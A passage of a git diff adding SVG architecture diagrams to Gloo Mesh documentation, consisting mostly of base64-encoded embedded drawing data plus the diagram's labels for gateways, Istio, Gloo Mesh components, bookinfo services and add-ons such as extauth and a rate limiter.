hdykb6Mp5cYlBcdTAwMWXY0PBcdTAwMWFjgK4g2ms9vL6kXHUwMDA3xlx1MDAwM/pksr2U8Vx1MDAxOCO21i/my3qMX2zuXVx1MDAwM/2AmVx1MDAwMnW03jHmy3tgQMolaFx1MDAwYjCOXHUwMDE041RcdTAwMDdwefoyn4ipuylhTCk5YVx1MDAwMI9qLc/zpz7AfCimP/zZxKhGbVx1MDAxYjBcdTAwMTDz8a7iIJh3SFx1MDAwZvBoU9hJXHUwMDA0R/ZpJpfq339EZSU64+VZv1qO97ws4zXl7FajZ1x1MDAwZVnEXG4jbZmoXHUwMDA1c0qClS1cdHheyVx1MDAwMYDdQlxiXHUwMDEzgH2wXHUwMDAxqDf3UYJUdXlcdTAwMDfuwyzD5TVcdTAwMDZJXCKESzfuIy3JTUldXHUwMDA1lFpcdTAwMTBnRU9znlx1MDAwNV9hbUjov1x1MDAwNZu9qibkU/nSRVwin25MVOzu9fyte1x1MDAxOdHuVVx1MDAxM7BlSmZcdTAwMTJqXHUwMDEyw026XG5yqSBcdTAwMDXcXHUwMDE4hFx1MDAxOVBHzY9cdTAwMDHllqVcdTAwMWOKXHUwMDE39XzhLVVP5tuRcX9weS/H51x010khIOPGXHUwMDA3YqZDsMbStbhcdTAwMTZcdTAwMDUkQIRcdTAwMDI4IMRPvaqV1+Y3XHUwMDBmx7bfXHUwMDE3/plcdTAwMDQ+T/xDsCHhWlx1MDAxYjBb/1x1MDAxNsohLWVcZkrHMvpcdTAwMTn0o1x0XHUwMDFhXFxcdTAwMDI/jlx1MDAxMLFcYmJcdTAwMDZcdTAwMWLhfdq7iMNOldw57GUwwVx1MDAxOVx1MDAxNqakXHUwMDE5ZW6xKVxcXHUwMDE5TzFcdTAwMDCxNjnfyIF8xnDV8PjTS1x1MDAxOXf57OpSPXfYe/desmuRXHUwMDFipO+rbiCDLFx1MDAwMrCHpVx1MDAxNlx1MDAxYVFcdTAwMTNt4FLH3ZjawEiEVExcdTAwMDMl21x1MDAxNvg2KC4/Z5yYaTBfXHUwMDAwa20h5me2SsaAi1x1MDAxY+42mvu99lLI+GjA5733f7y6suv3XHUwMDA2fIx718HghiWTXHJ4n39L+pDinmTCXHUwMDEypk2BXHUwMDAyYMNO4KOWidJcdTAwMDBcdTAwMWSruI1cdTAwMTLuXHUwMDE191x1MDAxOLOANHJgXHUwMDE0xJSTclx05TbbXHUwMDAzTDGOJYe7j5EzlVx1MDAxYz48XHUwMDBmX/nTXHUwMDE5XzxXTM6yj9lJ/KX19IGerlx1MDAwYp2+V1x0d2q63lx1MDAwMdvHJlx1MDAxZVxuMNC1aKggJlx1MDAxZk6DSYhcdTAwMTTHW9Zw36SwPNJg51x1MDAxOahVUiG4olx1MDAwYvRp42cybUGB5HPNkXTM6pSwL+IpXHUwMDAw5uHY+lx1MDAxYmKfbzVcdTAwMDF7QIiD9/G5l2+DXHUwMDAz4f40NbqYTplMoMG00OefXHUwMDFmydgx/f3r0Vx1MDAwZkxcdTAwMWRpgfQxgYyvcMXkNf5+RJlcdI9Cku6WyOJVRiNIv0rbTfrdesvEXHUwMDFjhrtcdTAwMDPt72u41Jzp1ev1Pmm+XGbPLyq9XHUwMDExaz5d3bDs3/Zt/92vcodxXHUwMDBmtLzfw1x1MDAxYZdK5u2+eVx1MDAxNdPl2t00N+4/Jlx1MDAxM/etyz3cs+pwXFxNXHLrRfkxrueaqdJl+rU2+YP2wrqGle5cdTAwMTdcXFxm64CsQzes1MT7rNxcdTAwMDRS0U2KUPkvZ0g7oGjjXHUwMDE28daelIGFulx1MDAxN+25l6btcPNN3P3a4pandpa92CTbdKu09Vx1MDAwMYneXf7TXHUwMDFkVYdcdTAwMWb2yttf0LV9XHJv9OlcXFx1MDAwMjM++znhXHUwMDFkOLD25MCKYY1NrkZgOe7GXHUwMDFm3i7SldZcdTAwMWKuTVwi6Vx1MDAxOZ+Chlx1MDAwZnvXds1MVCQn1IT4XHUwMDEwKlfEmFxiXHUwMDBiTFx1MDAxMyDKQIf5bmGR+yXBhFx1MDAxOL8/XHUwMDBlsTz7KdD2o6hkXHUwMDFmceIt81m7XHUwMDFh0+FVXHUwMDE2NzzKLn5T4M3HPdDyflx1MDAwZnu4YbuEZlx1MDAxMo2Xa0bzw09VZvFZ8WJcdTAwMWbMejppNy/ETSbafLhcdTAwMTL3uvmUer3I/EFbbFx1MDAxZLN2v+AxmTX3jMYwhVx1MDAxNLmkKLhT3n85w8qsNeN+OpmadM296OS9UGtT1UKZXHUwMDEwoPCq4j+TWq+ho3ug1j5Ha96NIYyxKIgmXHUwMDFilEnyV1x1MDAwZSE9W1PArE1veGT2mT356odcdTAwMTRcdTAwMDPrnadcdTAwMTlcdTAwMGJzzutdpXmn9sjaMoG6mFxi81xmUuqUZ2JpQTi8RjnjXFxj6sw3MvnRWlD8p1x1MDAwN1x1MDAxNVx1MDAwND5cXDNBXHUwMDA1SiBcbreOm+bwrlxy+UySXHUwMDBlwiZrXZhcdTAwMTbazsilQEdr/lwifrZ8tCaRSbuRhMDtNE3c3CZFJFx1MDAxNrBZXHUwMDE1vMVU8XLM6sT6I3tKgHlEnJt/Md5f9p9b4J/yzlx1MDAxNqCmm8NSts3amFJfXHUwMDEyXHUwMDFiTvzDXGJjZlx0LSUgIYPnVVx1MDAwZiFXXHUwMDE2Mae4plxcN1x1MDAxMYdBQFx1MDAxM9Vqqlx1MDAwMFx1MDAwMFxmSEAx7JaSjS2AaFx1MDAxMFVqWrhcblx1MDAxM3G9XG6BXHUwMDE0Pom4PVx1MDAxMefPRMDAaGOqJmhtWqJiU3bA9J52glxyvFx0XHUwMDExXHUwMDBlOGlKMVx1MDAwMc91gk0gXGJ8mFX55LUqM6PrXHUwMDFhKtd05IZWr9wnhZSWplx1MDAxMo7p1iRcdNLOSUnL9OxWXGJcdTAwMDHJlpiR044t8N795lx1MDAxMXFu/L3BXHUwMDFmXHUwMDE3nvSPKVxuXHUwMDFiQqrgblX/Q7dwop+CzW8hkzNLuZarjVx1MDAxMTXXXHUwMDE2laZRqklC8ql2tlx1MDAxM/tjlulJK1x1MDAxOebz+pduofQgp5RcIlNcIpaBvrcnXHUwMDBi/oI+4K9qqbjIn1x0ff7HXHUwMDE0y0RcdTAwMGIjhudcdTAwMTVyQL1RwqRcdTAwMGL2cbDgXHUwMDExklx1MDAwMvZcdTAwMDBQMam2xL738sesnlx1MDAxZPbu65/X59O4+khe9Dwjq1x1MDAwMPc4MTXEpKBSUueshMU4XHUwMDEwRGZSgEziqHJM6pTAL+K5/+evOrf+/rif9CvFXHUwMDAz61xu9l5w7udcdTAwMWZcdTAwMWFcdTAwMTBO9NPYdH41RaVgu5nnVdvXtF9cdTAwMDPDXHUwMDEygFx1MDAxMVx05H06fHTj11RpRfZ2ed/o54t+xuOBTP10ZTqOaqD1NqmzXHUwMDA11Fx1MDAwYk2IRCabxSV0PZjlXHUwMDFiPMRcdTAwMWabhpdcYpmqivZcdTAwMTPD31x1MDAxM9JcdTAwMTbsXHUwMDBmgGJmUio1ws5cdTAwMDD/b6v3zIZ8vlx1MDAwN+r2XHUwMDBlyqvgZ6KJtaAsOPXzb/xcdTAwMWJW/73g3NTDlKZQIbJj/Vx1MDAxY/1cYlaWKe5npITbjJCtSt16oVx1MDAxZkFgXdtcdTAwMWXMrUQ6XHUwMDExlrY/bGdcdL/CZpQ2XHUwMDA2Olx1MDAwZrFv//c1XFxO01xury9cdTAwMDNBXHUwMDA3pVl50rond8Pz+Kj++LddXHUwMDFhtjv882/V7juu4yt/SeM4zj1T/FxiM0nOVFx1MDAwN1x1MDAwZvXuRzkqnVx1MDAwZlqP7eR767rViGTOK/FtXHUwMDE4yerZ1SFFUvqEeoO5XHUwMDFhTFwiXHUwMDAzZDf/V6nKSpWSU1wit1xmc8EmtVx1MDAxZSl1RFx1MDAwM2xcdTAwMTdcdEyyIZ9cdTAwMGV5stI9r95e3crHdj6S/lx1MDAwZXTZV6DLgZb3XHUwMDBmXHUwMDFmdl3MhPtcdTAwMDW/XHUwMDAw471iJrh3XCIjntdLZlRcdTAwMDZvXHUwMDBi6r+eoSVdyidcdTAwMWNcdTAwMTmYsEWDIPxqkOKBgibAXHUwMDAyJkRRdsRcdTAwMTOFXHUwMDEwxkyAxTeE2Z39063BXHUwMDA1J8Wp/T5cdTAwMWM8XFxiXHKtWVxyl/g12V9T3YGc+XQjZIKZgkHBhZer6OX08TP9OTpPN1x1MDAwN9HSbeX5+jX05Ix7iy7lJKzkTFx1MDAxMyxMbuyJWkdXL9F2plZ9+uj066BcdTAwMWY+W6PXT4+e8t/cbPNxXHUwMDBmtLxcdTAwMDdcdTAwMWFcdTAwMTY/dcui/PRaalaf4yiazMbQ5OaPW4W9XHUwMDBmu45Kul/wiFRSXHUwMDEw72Joel74VMng8bf+61x1MDAxOV4qifz0kVxuXHUwMDE1lTQlYOdeglx1MDAxMGeDXHUwMDFmgUtWi6PxpDpcdTAwMWFcdTAwMWaJTK6hYatk8vdsd2eTXG55sknNJTdVrIL737NUvU+unitcdTAwMGaxVKLXbXz0r2ncq5hXeORXI2FcdTAwMTGBNWLSPDv879rShFxuwbhcdTAwMTZcdTAwMDT5XHUwMDE0qj26/92c31xiolWIzUQ/bXoo9zunvbtR5EXT5ttH6WNcdTAwMTjp5euJfTDBz6cnmo2dx87z5+NMLvHAVKrv4UhcbodbX9rslFx1MDAxNVmXXHUwMDEyYbFRL+Kn6N24mT+/vym2ypmkzr5ezuQs5JajJiBmSFCm58+rXlx1MDAxZkqCSXpcdTAwMTDTXHUwMDExiE+p6lx1MDAxNmK6XVxyXHUwMDE3rGB6XHUwMDAynahb/3P6fkdbL42kovIqf1x1MDAxNXn7/Pj0qFfxbTpuXHUwMDAxRIdZ3u9hXHUwMDBmMew6XHUwMDEzz/2CX6A6vEw8aYuCXzXxOFZcdTAwMTSZPJHAasN/PUNLXHUwMDExTcMnb8XBkSmGvV5xXHUwMDFjxMYjzjhcZi1Na0H2beP92OC/rKbPcfF9XFy3L/9vw1x1MDAwZcult1x1MDAwNzfsxj3bt1xcserWUCSHVfdzfjtcdTAwMTA85imqXFwxhTFjweM2irNGQafV/edl7mqiSGk8LtxuXHUwMDE1R/+lXHUwMDA0T1vU01x1MDAxNSNZWPmdVJRRfNRKzLvwu3x/9sQr7336kXx5vb9cdTAwMWXFpvl67pvf7YvfXHUwMDFkaHm/hz2hYdfRRvdcdTAwMGJcdTAwMWWTNmrPtFx1MDAwNtOPXHUwMDA1weWC61wi/+VcZi9rZD7aSJNQkUaCkDBh4OibNJ7ZSONcdTAwMTAuc9ZudFx1MDAxYWOPclx1MDAxY1szxzVHXHUwMDAya+jXKnlcXJrnXHUwMDBlXGZcdTAwMTJ7XHUwMDE34kDSJIDiXHIq3I3ExdPrNFx1MDAwN5MqvNUj/ad+7rU7XGI9hZQ+plx1MDAxZUWh5ZCYUkaQSV1cdTAwMGKvXHUwMDAw+6lM0bloNaNPJJnIt9/py9N5ddoqf5PIfZHIXHUwMDAzLe/3sN/DruOm7lx1MDAxNzwmN/Uut1wiTV93XHUwMDA27CywkvNfzvByU+Kn5kjIyKmJREA4zKrtXHUwMDE43LRaaYy+lJSuIXRcdTAwMGVSOp/gVlwiyrWniHLOgevQXHJ4aK5/ldWfhVx1MDAxYlx1MDAxY43Fulx1MDAxZlVVer1cdTAwMTn1t+GhXyeg8Fx1MDAwZS0tk4kgtVx1MDAxNsImXHUwMDEyc1x1MDAwMUUgvmCuma5TiPjUg1x1MDAwYlx1MDAxMpTiRUNcdHUpfySd7ZHpvPVcdTAwMTiiIa745qdcdTAwMGWPXHUwMDE0xuEq+mrprz6iX2v3epFOdVSPXHUwMDE0K5Ved/RPt1uEX2GDVV1cdTAwMDFBbFx1MDAxYrjmc76x9C1WRd9vgr6A4N14lyrPUDVOlUJcXOPg4Sv+dz2kkIAlXHUwMDA3w5BLXHUwMDEz5YWEWKmTgfG8P6EwLUGVd/u1XSBcdTAwMDFcdTAwMTNqcVwijTaGK3Hl0k9dXHUwMDBiXHUwMDBiMc6w8X5xLLTDTlx1MDAxNZpcdH3cXHUwMDE01VBUyfBXSmcrfc4oYVxunlx1MDAxNWC+YspZlYJbgmqtXHUwMDExx9yUXHUwMDAxVlu2nfSP4Fxcnlx1MDAxNFOaYVwikGnBRjFya1x0Ry1BOGdKMoo0LJ2zJdxJ1Vxi8tz+5uHY+Ivh/rL/3Fx1MDAxY/iwz7Eu4UIozYNcdTAwMDdg1Fx1MDAxZVx1MDAxZT6irZd0oZPvJac3jVk0mq6FXHUwMDFk+JDSlqSKaK1ModSVxpNYScu0N8VcbsF2pD4hulx1MDAwMfpOeEFcdTAwMWanXHUwMDE2mIYgXlx1MDAxY0tCuc1AXFyUhsTCWE1USFx001x1MDAxMdRcdTAwMDF9TJi+mZj8KdC3KqlcdTAwMDH6fWfiL7hcdTAwMWNcdTAwMWZcXMUzclRmr+lcdTAwMThqR93wXHUwMDA3WZRgpaREpmokQJ9wllx1MDAwZVwiyjJcdTAwMTFcdTAwMDFcdTAwMTRcdTAwMTDK9MZFe6nUczz08dyB81dcdTAwMWSbb0P4WZMl4IlAXHUwMDA0MWFaUbLgXHUwMDEwXHUwMDE0eXqKMYL0RYwmhqnyS2n6dvlcdTAwMTFuXGJSkvjli3NhYcbVvDizvZb58Vx1MDAxYt9wRrUpXHUwMDFifqKRw/HH9lx1MDAwNS5fdVxuhelFKkXfReP63F5K7Gw7XHUwMDE36PehwEGX97SGPVSXxtNahb1cdTAwMGa77lTA/YKLYVx1MDAxZNBy6FNcdTAwMDElPHNZTSVUoJdcIrjL0X85Q3oqXHUwMDAwWs6v7pVcdTAwMDRzbk9ablx1MDAxZodcdTAwMDJSS83BslxmcdDkXHUwMDExXHUwMDBlXHUwMDA1ur1xpNGdu96+9GhgXHKpW/VcdTAwMGbap7k9L+Xau5JcdTAwMTFcdTAwMTeMSZDp4Cd5zXTkdaLiiZvObJhmz4nL1CsthDtcXGXOS6X3OVx1MDAxZTftXHUwMDFhwWSeXHUwMDE395Te3Z+ChKvsl5iaMlNK8zDXNPJTl9dPxeRk2KlcdTAwMTXaxWRHd9h9LyEju2vhXHUwMDAzXHJ7KL5bXHUwMDFm8GG9k1x1MDAxYpdcdTAwMGItdcWmXHQhe1x1MDAxNy97XHUwMDE4d1ZPV7KF91K0fFeblIapZ9ktVvYw7mndtT982HVcdTAwMDTS/YJcdTAwMDFn+1jvXHUwMDE2bovX/O5OlmL6TbSHz12PzolflrztWWRcdTAwMDV5XHUwMDA2ZXKGKFOb5G3736YwXHUwMDEzU1x1MDAxZjUnlIX2pOb2wkw510qhY3ZcdTAwMDBcbiEzPVx1MDAwNitdQ+mcVfpcdTAwMDIwUk8xpd5NvDRsXo04XHUwMDBmLqcvkXdcdTAwMWF7f0pcXJfuK9nuoFx1MDAxNj2nj2JcdTAwMWIy+oVSqrS2XGIxpJtcYqnIipRcIqItkFxmLlxiZ0DOd6tk7nlCzVxc2KdL0FxuUkSaJkbHk9BdYlY+XHUwMDFlXHUwMDFid7nnVqN6pVx1MDAxMom3XHUwMDE5aj9cdTAwMTVcdTAwMWbR4bWXq/xcdTAwMDeOWamPx/1So1x1MDAxYrpQXHUwMDE1l3n5yr/3QS3z6WZAXHUwMDEwo1x1MDAxYnmQ/O9xOFx1MDAwMUBTY2/ieTNL5IhPQT+OaTlFwpyWXHUwMDFjRv6RtpggWlx1MDAxMIop5US5xLApZWnTS45IjVx1MDAwNdfa2cRUXG6OMCbHbGRcdTAwMTCKXHUwMDE4XHUwMDE1fyV0tlx1MDAxMqNcImCTXHUwMDEzhlx1MDAwNcFcdTAwMThWXHUwMDFl297mjFHBiOktY1Sw7uB8XHUwMDEzd9r374NyY3jfyolcdTAwMTH3mJQgXHUwMDAytJHgjMLOQ9JcdTAwMTk3Q5BFNCFA7JCWXHUwMDFj3uxsMHNSh8Te+988XHUwMDFjO38x3l/2n1x1MDAxYkNcdTAwMWZcdTAwMTWeXHUwMDFkIzBRlCxcdTAwMDWprkO+XHTpYVq/anTL5Wr1anKj5UXTq39paExcdTAwMTRccqvq04ZcdTAwMWQhbnOe05VpbVx1MDAxNFDvWZZcdTAwMThMJNtDXHUwMDExl1x1MDAxZVZ4MenfWFx1MDAwN5IhMZEhXHUwMDBl3/2ioJSlV05J6j1vvHlcdTAwMDAkbCjlXlx1MDAwNlx1MDAwZfVO6VaIg1UuN2hcdTAwMWLQmuqbRPeTXb/HX4tXXHUwMDExPeqPY9ehXHUwMDE3ctONiVPTPeDH87KQg1x1MDAxOFlcdTAwMDRhxkD8YbF8YnBcdTAwMDPEgXhcdTAwMTZcdTAwMWZfrPHCXHUwMDA1YbvUr3Ru0HtcdTAwMWNcdTAwMTFxRFx1MDAxZsRhxXorXHUwMDFmxFx1MDAwN3Z3P6ild1x1MDAxZd7mgHlsJYKMeltcdTAwMTimi6hcdTAwMDS7OriPIVx1MDAxMevdv83eU8On9/jsulSINtB1+OstU1xudoSkyHSEhGfmlMEginZcdTAwMTdcdTAwMTEkbuVZXHUwMDFkXCKIXHUwMDE1TE6B2fMtgmd2XHUwMDExJCFcdTAwMTFBsq1cYnpSXdBcYlphvIFcdTAwMTbMp/Kli0Q+3Zio2N3r+Vv3MqJD37HQ5KZRi+PfJZO5U1x1MDAwNG3Zoz6OvoOrQUxcdTAwMTVcdTAwMDVdLcmJOvqmmVxcqn//XHUwMDExlZXojJdn/Wo53ktcdTAwMWPJ0ffnKFnhXfGSacFcdTAwMTnmJLiIX12zdDVcdTAwMTKZVEasdYmT9X70cZBcdTAwMGa/iFx1MDAxM1x1MDAxMGLKvMxZI+JGw1wigFx1MDAwMCS4d0/mL1CzWFx1MDAxMlx1MDAwMFx1MDAxYaRCLOLfanZzIVSeh96UU4GZ3KAxcOojpVx1MDAxZcbPd8Xkfaw/k3dcdTAwMWb8llVPQ1x1MDAwNlx1MDAxOVFcXGLzLPSyXGZcbsW+QFx1MDAwNl1SPJ0yqJXCXHUwMDFhk39vTud2XCJIQ1wignSXXHUwMDA2IbYza4fFXHRmXHUwMDE4wVxcXHUwMDA3tzij6cSdTnXO269cdTAwMTdXmfzt3ezh/T5cdTAwMTXyQy3YXCJcdTAwMTZGv1x1MDAwYvnRJSnkWHCLc1x1MDAwNDtJXHUwMDEyivVuUrjfXHUwMDEwS1OxXHJMZHFM1+4uMZZcdTAwMGYv/Y9mOXk/fuxdospLPl9cdTAwMWPfXFyFN1x1MDAxOPLUkn9cdTAwMGW0vKc17KGSf05rXHUwMDE1TmXYdSGh7lx1MDAxN1xcXGbrQKxDh25q5tlyXHUwMDA3lKdcdTAwMDJTUqjgXHUwMDA3o/7rXHUwMDE5Ulx1MDAxYVx1MDAwYvpT+ulPRS20J/25nzq4hCC4Md9pRT82+E9cdTAwMGU5XHUwMDAyhlgpXHUwMDBlK2d3vYo7qz1QXHUwMDA051x1MDAxYca4ynWX5rk967WnXHKtyq3gknNcdTAwMTNBXHUwMDEx3PycXHKvblryI5K+0Vx1MDAwZsVmJXJbLV1sw3q/MLFIKWRcdPdMQE44tohgmjLTVMGn/NjXp1x1MDAxNVx0U1x1MDAwNUpjXHUwMDE54kqBflx1MDAxYbOSbDzOMtePXHUwMDE3V5VGsZy6aTZm48HuivhAw36nXHUwMDE1neJd+1x1MDAxZfZcdTAwMTDDrqOm7lx1MDAxNzxcIjWV2DPdXHUwMDFkiKnpz7DBOab/coaXmXJvXHUwMDFkJ5Ql96Tj9tLUi0rMtOZh1mxH4KVA884mjXH97Lz70XNv2nwoZrqG1a0y05WZbs9NpfROeiemJVx1MDAxZkEouORcdTAwMTben6LsLUt651x1MDAxN5lK5yFfrL6X69tw06+UW6kt8ktsXHUwMDExWSlcdTAwMDdHqbZcdTAwMTRcdTAwMTXwj6lcdTAwMWK3Y/jBnns0IFOMjHBcdTAwMWVi49JPa+ZGXHUwMDE3l8VC8u0xXVx1MDAxY6SyKXZTjJJueHnkqXlkXHUwMDBmtLxcdTAwMDdcdTAwMWH2SWe1oirXbFx1MDAxNa6HNTVJvFx1MDAwZibNPaxCpoFcIlx1MDAxZFnPPzZcdTAwMWZvXHUwMDFlPkQ7XCKq9fY+Vlx1MDAxN5VlrYiGafw0fiwmXHUwMDEzKIlcdTAwMDdcdTAwMWXLsNG4oDaqqWG9KD/G9VxcM1W6TL/WPFrEbmZVNK5l8iUu8q3Pu3YpLWPoc7KPfuintcv2Puw6ou5+wSNcdTAwMTJ1Rbx9yEJcdTAwMTGiXHUwMDE1I1x1MDAxYtTC913P8DJ15qfxubRoXHUwMDEwjf9F7So4Y5wpXHUwMDFjZi1/XHUwMDA0qp5s93pnmeqo/uU+5DVcdTAwMWN3lakvT3RcdTAwMDei7lx1MDAxZMKEiUJcdTAwMDJJiYJXTb1cdTAwMTh/qFx1MDAwYtxuR+rk+uqt8ljtTj68gvVPg6gzoixcdTAwMDaLoE3Ncko595TbnVx1MDAwMoW38yMrqvXphk5cZsao3YtmPlOPrejtZeS1Qq6z/d2V8TdRP+jyntawh1xunTitVdj7sOv4qftcdTAwMDWPyU+9Y1x1MDAxY5SWglBFg2s5/+U8TXpcbmzQ0oH03Fx1MDAxN/FT2Fx1MDAwN8woN3HEkPlcdTAwMTBcdTAwMTLUy9G40ftycrqG162S08Ukt1x1MDAxM1bsXaSKXHUwMDBirVx1MDAwNVx1MDAxMjq4MfnSvy08llx1MDAwNqXbi8v7l1x1MDAxN9x8KF3NXHUwMDFlQi+tXHUwMDFhXHUwMDExSy1cdTAwMWXLqS1cdTAwMWPDq4FcdTAwMGV+dlxySLJcdTAwMDWQ/JZV6kxvXHUwMDExXG5rhlx1MDAxNDrRXG7+leF5tlJcdTAwMTg2293zXFw891bhkVdcdTAwMTVccsZcdTAwMTJ20WSuSFx1MDAxMLhU1XW1Vu26w4DN1fI10fs/57KVtGvkXHUwMDFkvI9cYiFcdTAwMWPMr+C6+elh8FKM9S9ux/ekXHUwMDFjLaQyLfH2XHUwMDFhdmnXUjNLKzD7XHUwMDE4KD1FlpNoqEbIQvz3Y6d8cV9ply75qi7Sjs18hThmMtsu0n6FXHUwMDA3N8mJpLI8vlx1MDAxZFJcXLqUXHUwMDAzklx1MDAwYru0x9uNpVt2TGn/OVx1MDAxN19p92mRiD0zVymTXGL0yFx1MDAwNo2N/e9lKFx1MDAxZE5aKmTJeUkjrkwk74qwY2kpiTFWXHUwMDEymfpXXHUwMDA3Olx1MDAxYTa1aqWQmsOVXGJWtry9RUVKy1hcboRiXHUwMDA1c6JEO4BAalx1MDAwMlx1MDAxM+DqX1s7XCJgXHUwMDA1On+dc2ZvXGJcdTAwMDb8XHUwMDE1Kc2lpopcdTAwMDOMStubfrYjXHUwMDA0I01cdTAwMTBBlVx1MDAxMrBPJGi/n+/wKEB3svWgXCLeW9A8XHUwMDFjm28x3l/2n5uyXHKsPCPKXGLigmFlq1xuuFx1MDAxNn5i9edpXHUwMDBms/FsXHUwMDEwXHUwMDFm5vK1cnp29TbZjm14hk1XiqN6db9cYoSlsDiCTSh+PC8hXHUwMDEw8HhqwcJcdTAwMGJJOdxcdTAwMWTmXal6J483c0naddbA5VJcdETp2tJcdTAwMThhRZCtdH21+9ZcdTAwMWKWq/90h3C9s3ZcdTAwMDPk2b2F+peXoXWd2ZY8gHtWidKMgGLcgFx1MDAwNVxcn9+8VurkRspsOlx1MDAxM71cdTAwMTme3z6xLWtEfaVcdTAwMThSXG68fiGGK1x1MDAxNWpcYqOWXFyI4YFcdTAwMGWetIszXHUwMDBlO+VQMVx1MDAwMEdM1lx1MDAxYfhhlcOAmryXwfqjeXtzmVx1MDAxZfVcdTAwMDbZRifbvnpou2tyU31XaEFMY0977ZEzW2Nh41x1MDAxMZHaNFx1MDAxNTYpZM7GwnvV5Kui9sUlXYX9XHUwMDAzXHUwMDExXHUwMDE24COa2T+CKdlQxfuXXHUwMDA0IJ5eXHUwMDA1Lk1cdTAwMGZkxoPHn+ryR4bSl0yrcN+c1qs5/VSc0u3wZVx1MDAxYjtjXHUwMDAxXHUwMDFiXHUwMDFiuVx1MDAxMIXmXHUwMDE2osqUPNZcYomVOpBAuCyulFx1MDAwMlx1MDAxOVwiXHUwMDFjKW94YZojLrczM1xiIVx1MDAxNrZVXHUwMDA3cWvGXHUwMDBl8mv9esP82VHqXHUwMDFhYEeb/2yf/mr0+X1ccrdcZuLSR0XiSKEzzHdjt3ek+t593UcmXHUwMDEw70QvZKfUKtUy9dTkvjN7jz3RYOM6vvLBc4htXGbNmUOMJdd4g1xcxPFl8v2yXHUwMDFlxez8IUtyXHUwMDAyJ/LPXHUwMDFmoa84p1x1MDAwNEHAqsFmw4SB0K1cdTAwMTZXxtxiXG7seSpBWij1XHUwMDE2OJBMVvQvLe/rxSNu7SWcbjxCTGFcdTAwMTR76bt9XHUwMDBi1ddcdTAwMWSfbdrf4WzSXHUwMDFitrzbO3y5R805re1INbG3XHUwMDAzWJFDISVoaUqC02p/XHUwMDAwXG6lc23ea1BcYlxu1oWiTDpMW4mNXHUwMDEwYiklbHyOvW3bXHUwMDAwQuip9Vx1MDAwNLckp1x1MDAxOFSvmidEuZSIw1xibGx4XHUwMDA3qDxcblfiNmL9y8vOiUKEM3E8pfdFJc29yLg/61pcIuNUXHUwMDBiYY4lXHUwMDE0YYyaXHUwMDAzIydcdTAwMWJcdTAwMDeSobTkRFx1MDAwYqAhUklnY4dT8p55bjHzcG6uXHKZtU9cdTAwMGJcdTAwMDVP3z1BppIq3IDgtNq/v91+zPZcdTAwMDP0UODCYlx1MDAwMlafSFx1MDAwMInlSiGmoLqlXHUwMDEwNWXxqKZyXHUwMDE1+PZjtEukLFx1MDAxYmGWLqSaXHUwMDAz25B25u2AXHUwMDE3xahiQlx1MDAxZFD9h8KiT0xGvYhcIoVcdJCy0V0lklx1MDAxZNcuXHUwMDBibiBiusNcdTAwMTjExUpiXHUwMDEzYqKIdoNcdTAwMTHAXHUwMDFhrIkp3Y3gP6LXXHUwMDE49V7T8u/5toRtcCulJlx1MDAxMpn+3lxiXHUwMDExZ3tcdTAwMThlXHSGKSPUlKhRSPCTRrZcYmZLXHUwMDFmIEZlXHUwMDEzm4G4dlx1MDAwMKJXxIPax6OUrJiba1x1MDAwN6SaWbZcdTAwMTlQ+7HNmVPU1o7nKb/mwajn913G7r9+XuDvYr//MFx1MDAwNvn5vd3+/mhUJzHvMiZ//dxcdTAwMWJcdTAwMDZhq+a+/c///vW//1x1MDAxZnbkYFx1MDAwMCJ9 + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientenforcerate limitshttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg new file mode 100644 index 0000000000..f1a6004b06 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO29WVcqy9IufL9+hWOd202d7JtzJ6IgXCKINIrfPoNBXHUwMDBm0lxuXGLoO85//1wimU4poFx1MDAxYVop55S9hu5pQVaSXHUwMDE18eRcdTAwMTOR0fzPP2dn/47fXHUwMDA2tX//z9m/tVml1GlVh6Xpv/8xf5/UhqNWv1x1MDAwN5fI/N+j/uuwMn9nczxcdTAwMWWM/s///t+lwcBafMqq9Lu/Plnr1Lq13nhcdTAwMDTv/f/g32dn/zP/abtXaTjs/7rN/M+LW1x0Jlb/muz35rfVVFx1MDAxM4IpQZ9vaI1cInCrca1cblfrpc6otrhi/vRvo8reOu1xuFhvXsTaXXExVLd3i7vWW51OZvzW+fWdSpXm67C2uDpcdTAwMWFcdTAwMGb77dpDqzpuwnW88vfPz4368O1cdTAwMTefXHUwMDFh9l9cdTAwMWLNXm00WvpMf1CqtMZv5m9oMf1SrzFcdTAwMWZj8ZeZ+ZqaW0jD96SCM0pcdTAwMDX9vGo+z7hEXHUwMDE2R5pxTOH/XHUwMDEztjKvi36nPzTz+l/1+Wsxs3Kp0m7A9HrVxXvKNVaullx1MDAxN++ZfnxbZTHMMFx1MDAxMfCf0lx1MDAxMjP++Y5mrdVojudfZHHn2vxcdMCUXHUwMDE4I0Qvvra53eC6upCD+V8z4maYfopdXYReiap2UsVcdTAwMWVO6H8/rv/f1XVuloaDj/X8dz572zcy/7y0ydriw6+DaumXXFxgwbjAUlx0pvVisTqtXlx1MDAxYi72XjtcdTAwMWTbXHJLw3G41au2elxyuPY/i1x1MDAxOX/I8/VcXKhS57L5Uuni5lOslVG8kVx1MDAxYtZD75+TMmLVr7ya6cBz4kxSTpBEhGuEiO1NjdLAKJa0XHUwMDEwp1x1MDAxOIFYaypcdTAwMTlcdTAwMTNcdTAwMWZv+H+fk6r1qv5TXG71X+6iqU6y0Fx1MDAxY1x1MDAxNV5UfpwsoPi185RcdTAwMTCSQmMhXHUwMDE5VVx1MDAxMmumnCZFLaHNc1dcdTAwMDJcdFx1MD